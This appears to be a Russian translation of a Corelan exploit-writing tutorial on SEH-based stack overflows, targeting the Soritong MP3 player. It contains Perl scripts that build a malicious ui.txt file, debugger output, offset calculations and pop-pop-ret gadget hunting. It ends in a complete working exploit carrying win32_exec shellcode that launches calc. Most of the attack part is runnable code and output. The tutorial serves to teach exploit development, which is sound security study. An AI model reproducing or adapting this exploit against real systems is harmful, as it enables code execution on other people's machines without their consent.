Если сделать дамп TEB после того, как произошло исключение, мы увидм:



=> указатель на SEH-цепь, в 0x0012FD64.
Та область теперь перезаписана «A»:



Цепочка исключений сообщит:



=>, таким образом мы перезаписали обработчик исключения. Теперь позволим приложению ловить исключение (нажимаем F5 в отладчике) и смотрим, что произойдет:



eip указывает на 41414141, и это означает, что мы можем им управлять.

!exchain теперь сообщает:



Microsoft выпустила для windbg расширение называнное !exploitable. Загрузите его, и поместите dll файл в папку программы windbg, в подпапку winext.



Этот модуль поможет определить, может ли крах/исключение/нарушении_доступа в приложении быть пригодным для эксплуатации или нет. Применив этот модуль к Soritong, прямо после того, как произошло первое исключение, мы увидим:



После прохождения исключения, мы увидим:



Отличнейший модуль.

Можно ли использовать адрес шеллкода, который находится в регистрах, чтобы перейти к нему?

Да и нет. До выхода XP SP1, вы могли бы обращаться к таким регистрам, чтобы выполнить шеллкод, но начиная с SP1, был реализован механизм защищающий от этого. Прежде, чем обработчик исключения возьмет на себя управление, все регистры xor’ятся друг с другом, таким образом они все указывают на 0?00000000.

Преимущества эксплойтов, основанных на SEH, перед эксплойтами переполнения буфера основанных на RET (указатель на EIP).

При типичном RET переполнении, мы перезаписываем EIP и заставляем его перейти на шеллкод. Эта техника хороша, но может вызвать проблемы в стабильности (если нет возможности найти jmp код в dll, или если нужны жестко заданные адреса). Ещё важно учитывать размер буфера, что является также недостатком данного метода.
Так что имеет смысл, каждый раз, когда вы обнаруживаете переполнение в стеке, с возможностью перезаписать EIP, пытаться перезаписать дно стека(Writing further down), с целью поразить SEH-цепочку. И т.к. вы перезаписали EIP (с мусором), будет автоматически вызвано исключение , преобразовывая 'классический' эксплойт в SEH-эксплойт.

Как мы можем эксплуатировать SEH- уязвимость?

Легко. В SEH-эксплойтах полезная junk-нагрузка сначала перезапишет адрес указателя nSEH, затем сам SE-обработчик(SE-Handler). И затем будет записан шеллкод.
Когда произойдет исключение, программа пойдет в SE-обработчик(handler). В SE-Handler мы помещаем данные на подставное второе исключение, таким образом программный поток идет в следующий указатель nSEH, который находиться до SE-Handledr’a, и был перезаписан прыжком к адресу на шеллкод, который находиться за SE-Handler’ом



Конечно, шеллкод может быть справа от перезаписываемого SE-Handler’а… либо может быть некоторый дополнительный мусор в первых двух байтах…, важно проверить, что вы можете определить местонахождение шеллкода, и возможность к нему перейти.

Создание эксплойта – находим "next SEH" и смещение "SE Handler ".

Мы должны найти смещение к следующему:
  • - к месту, где мы перезапишем next SEH (переходом к шеллкоду)
  • - к месту, где мы перезапишем текущий SE Handler (должно быть правее от "next SEH" . Мы должны перезаписать это чем-то, что вызовет поддельное исключение)
  • - к шеллкоду

Простой способ сделать это - заполнить полезную нагрузку уникальным шаблоном (metasploit нам сново в этом поможет), и затем найти эти три местоположения.

#!usr/bin/perl
my $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac".
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A".
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak".
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A".
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As".
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A".
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9".
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba".
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B".
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9".
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi".
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B".
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9".
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq".
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B".
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9".
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By".
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C".
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9".
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg".
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C".
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9".
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co";

open (myfile,">ui.txt");
print myfile $junk;

Запустите данный скрипт, и поместите полученный ui.txt файл в папку программы.

Запустите windbg, откройте soritong.exe. Запустите выполнение программы (F5). Отладчик поймает первое случайное исключение. Выполнение программы вновь остановиться, и чтобы не сбить состояние стека, продолжать процесс выполнения пока не следует. Взглянем на seh-цепь:



SEH handler был перезаписан на 41367441.

Переверните 41367441 (little endian) => 41 74 36 41, что является hex-представлением At6A нашего подставленного шаблона. Это соответствует смещению 588. Это означает:
  • - SE Handler перезаписывается после 588 байтов
  • - Указатель на next SEH перезаписывается после 588-4 байтов = 584 байта. Это местоположение - 0x0012fd64 (!exchain это нам демонстрирует)

Мы знаем, что наш шеллкод находиться прямо после перезаписанного SE Handler’а. Таким образом, шеллкод должен быть помещен в 0012fd64+4bytes+4bytes
[Junk][next SEH][SEH][Shellcode]
(next SEH помещен в 0x0012fd64)

Цель: эксплойт вызывает исключение, идет в SEH, который вызовет другое исключение (pop pop ret). Это сделает переход потока назад к next SEH. Из "next SEH" перепрыгнуть через следующие несколько байтов, и попасть в область шеллкода. 6 байтов (или больше, если шеллкод мы начнем со связки NOP’ов).

Опкод для короткого перехода - eb, сопровождаемый расстоянием для перехода в байтах. Другими словами, короткий скачок в 6 байтов записывается опкодом eb 06. Этим мы заполним 2 байта, значит надо добавить ещё 2 NOP’а, чтобы заполнить 4-байтовое постранство. Таким образом, область next SEH должна быть перезаписана на 0xeb, 0?06,0?90,0?90

Насколько точна функция "pop,pop,ret" при работе в SEH-ориентированном эксплойте?

Когда происходит исключение, диспетчер исключения создает для него собственную область в стеке. Потом элементы из EH Handler’а заталкиваются в эту область (как часть вводной части функции). Одна из областей в EH структуре, это EstablisherFrame. Эта область указывает на адрес регистрационного отчета исключения (next SEH), который был помещен на стек программы. Этот же адрес также помещается в ESP+8, когда вызывается обработчик. Теперь, если мы перезаписываем обработчик адресом "pop,pop,ret", то:
  • - первый "pop" снимет 4 байта со стека
  • - второй "pop" снимет следующие 4 байта со стека
  • - "ret" снимет текущее значение с вершины ESP (= адрес next SEH, который был в ESP+8, но из-за 2 "pop" теперь находится наверху стека), и помещает его в EIP.

Мы перезаписали next SEH некоторым jump-кодом (вместо адреса), таким образом код будет выполнен.

Фактически, next SEH можно рассмотреть как первую часть нашего шеллкода.

Создание эксплойта – объединяем все части.

После нахождения необходимых смещений, только нуждайтесь в адресе "поддельного исключения" (pop,pop,ret) прежде, чем мы сможем создать эксплойт.

Запустив Soritong в windbg, мы можем увидеть список подгруженных модулей:



Мы в большей мере заинтересованы в библиотеках dll самого приложения, поэтому давайте сперва поищем "pop,pop,ret" в этой dll. Используя findjmp.exe, мы можем изучить эту dll и поискать последовательность "pop,pop,ret" (или, например, "pop edi")

Любой из нижеследующих адресов должен нам подойти, если он не будет содержать нулевые байты:



Возьмем, например, 0x1008de8. (Вы можете использовать любой из адресов)



Отметьте: для findjmp, нам следует указать регистр. В некоторых ситуациях может быть легче воспользоваться утилитой msfpescan из Metasploit (указав msfpescan название dll, с параметром-p, и выбираете любой из pop,pop,ret ). msfpescan не требует определения регистра, т.к. он просто перебирает все комбинации. Альтернативно вы можете использовать memdump, чтобы сделать дамп всей память процесса, сохранив его в файл, и затем воспользоваться msfpescan с параметром "-M <папка с файлом дампа> -p", чтобы найти все комбинации pop,pop,ret в памяти.

Структура полезной нагрузки эксплойта должна выглядеть примерно так:



Фактически, структура типичных SEH-эксплойтов будет похожа на эту:



Чтобы определить местонахождение шеллкода (который должен быть правее за SEH), вы можете заменить 4 байта в "next SEH" контрольными точками. Это позволит вам проверить регистры. Пример:

#!usr/bin/perl
my $junk = "A" x 584;

my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc";  #контрольная точка

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

(e1c.fbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41

0:000> g
(e1c.fbc): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
+0x12fd63:
0012fd64 cc int 3

Так, после передачи первого исключения программа остановилось из-за контрольной точки в nSEH.

EIP в настоящее время указывает на первый байт в nSEH, таким образом, вы можете видеть шеллкод в ближайших 8 байтах (4 байта для nSEH, и 4 байта для SEH):

0:000> d eip
0012fd64 cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47 ........1ABCDEFG
0012fd74 48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49 HIJKLM2ABCDEFGHI
0012fd84 4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b JKLM3ABCDEFGHIJK
0012fd94 4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90 LM..............
0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdd4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

Отлично, видим, что шеллкод начинается там, где мы и ожидали.

Теперь мы готовы создать эксплойт с реальным шеллкодом (и заменить контрольные точки в nSEH на jump-код)

#!usr/bin/perl
# Exploit for Soritong MP3 player
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
#

my $junk = "A" x 584;

my $nextSEHoverwrite = "\xeb\x06\x90\x90";  #прыжок на 6 байт

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Создайте ui.txt файл и откройте soritong.exe БЕЗ отладчика.



Теперь давайте посмотрим, что случилось «под капотом». Поместите контрольную точку в начало шеллкода и снова запустите soritong.exe под windbg:

Первое случайное исключение:

Стек (ESP) указывает на 0x0012da14



=> SE Handler указывает на 10018de8 (который является pop,pop,ret). Когда мы продолжим выполнять приложение, pop,pop,ret выполнит и вызовет другое исключение.

Когда это случится, " EB 06 90 90 " код будут выполнен (next SEH), и EIP укажет на 0012fd6c, который является адресом нашего шеллкода:



  • 41 41 41 41: последние символы буфера
  • eb 06 90 90: next SEH, сделает переход на 6-байт
  • e8 8d 01 10: текущий SE Handler (pop,pop,ret, который вызовет следующее исключение, заставив код пойти в следующий указатель SEH и выполнит "eb 06 90 90")
  • cc eb 03 59: начало шеллкода (я добавил \xcc, который является контрольной точкой), в адресе 0x0012fd6c

Вы можете посмотреть на процесс создания эксплойта в следующем видео:



Также, вы можете посмотреть/посетить мой список видео (с этим и будущими эксплойтами из данного руководства)

Ссылки на отладчики и модули к ним:
Ollydbg
Модуль OllySSEH
Плагины Ollydbg
Windbg
Windbg !exploitable модуль